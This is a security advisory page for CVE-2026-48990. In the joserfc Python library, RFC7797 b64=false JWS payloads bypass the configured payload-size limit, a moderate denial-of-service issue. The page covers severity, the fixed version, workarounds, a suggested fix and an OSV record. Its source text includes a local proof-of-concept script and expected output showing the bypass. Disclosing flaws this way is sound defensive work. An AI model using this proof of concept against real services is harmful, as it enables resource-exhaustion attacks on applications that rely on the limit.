CVE-2026-48990: joserfc B64=false RFC7797 JWS Payloads Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-wphv-vfrh-23q5
CVSS 5.3
CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-48990 is a MODERATE (CVSS 5.3) b64=false rfc7797 jws payloads bypass vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting joserfc libraries in the PyPI ecosystem. The issue involves b64=false rfc7797 jws payloads bypass jwsregistry payload-size limits during deserialization. Remediation is available by upgrading affected packages to version 1.6.7.

CVE-2026-48990 at a Glance

CVE Identifier CVE-2026-48990
GHSA Identifier GHSA-wphv-vfrh-23q5
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product joserfc
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-48990

To remediate this vulnerability, upgrade all affected joserfc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

joserfc fixed: 1.6.7
pip install joserfc>=1.6.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show joserfc

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-48990, inspect your installed packages using pip:

pip show joserfc

Analyze the terminal output to locate any version of joserfc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.7), your application is affected.

Note: The pip show joserfc command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In joserfc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on these releases: | Version | Normal JWS over limit | RFC7797 `b64=false` over limit | | --- | --- | --- | | 1.3.4 | `ExceededSizeError` | accepted | | 1.3.5 | `ExceededSizeError` | accepted | | 1.4.2 | `ExceededSizeError` | accepted | | 1.6.2 | `ExceededSizeError` | accepted | | 1.6.3 | `ExceededSizeError` | accepted | | 1.6.4 | `ExceededSizeError` | accepted | | 1.6.5 | `ExceededSizeError` | accepted | The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it. ## Relationship to Existing Advisories I found two related public advisories for `joserfc`, but neither appears to cover this root cause. `GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`. `GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption. ## Workarounds Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer. ## Suggested Remediation Apply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.

CVE-2026-48990 Affected joserfc Versions

1 component(s)
Fixed Versions:
1.6.7
Product / Package Ecosystem Affected Versions Fixed Version
joserfc
PyPI
≥ 1.3.4
< 1.6.7
1.6.7

References

Frequently Asked Questions

What is CVE-2026-48990?
CVE-2026-48990 is a security vulnerability in joserfc involving b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization under CWE-400: Uncontrolled Resource Consumption.
Which joserfc versions are affected?
Affected versions include releases prior to 1.6.7 across affected packages: joserfc.
What version fixes CVE-2026-48990?
Upgrading to 1.6.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is joserfc affected?
Yes, joserfc is affected in releases prior to 1.6.7. Upgrade your dependency to 1.6.7 or later.
What is the CVSS score of CVE-2026-48990?
CVE-2026-48990 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-48990?
CVE-2026-48990 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-48990?
Run the dependency tree command: 'pip show joserfc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wphv-vfrh-23q5",
  "modified" : "2026-06-26T20:59:38Z",
  "published" : "2026-06-26T20:59:38Z",
  "aliases" : [ "CVE-2026-48990" ],
  "summary" : "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization",
  "details" : "# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n    if not payload_segment and payload:\n        payload_segment = to_bytes(payload)\n    payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n    payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n    token = jws.serialize_compact(header, payload, key)\n    try:\n        obj = jws.deserialize_compact(token, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\ndef check_json(name, protected, payload, key):\n    data = jws.serialize_json({\"protected\": protected}, payload, key)\n    try:\n        obj = jws.deserialize_json(data, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n    \"joserfc_version\": joserfc.__version__,\n    \"default_max_payload_length\": limit,\n    \"payload_len\": len(payload),\n    \"compact\": [\n        check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n        check_compact(\n            \"rfc7797_b64_false\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n    \"json\": [\n        check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n        check_json(\n            \"rfc7797_b64_false_json\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n  \"default_max_payload_length\": 128000,\n  \"payload_len\": 128001,\n  \"compact\": [\n    {\n      \"case\": \"normal_b64_true\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ],\n  \"json\": [\n    {\n      \"case\": \"normal_b64_true_json\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false_json\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "joserfc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.3.4"
      }, {
        "fixed" : "1.6.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48990"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/authlib/joserfc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authlib/joserfc/releases/tag/1.6.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T20:59:38Z",
    "nvd_published_at" : "2026-06-17T22:16:23Z"
  }
}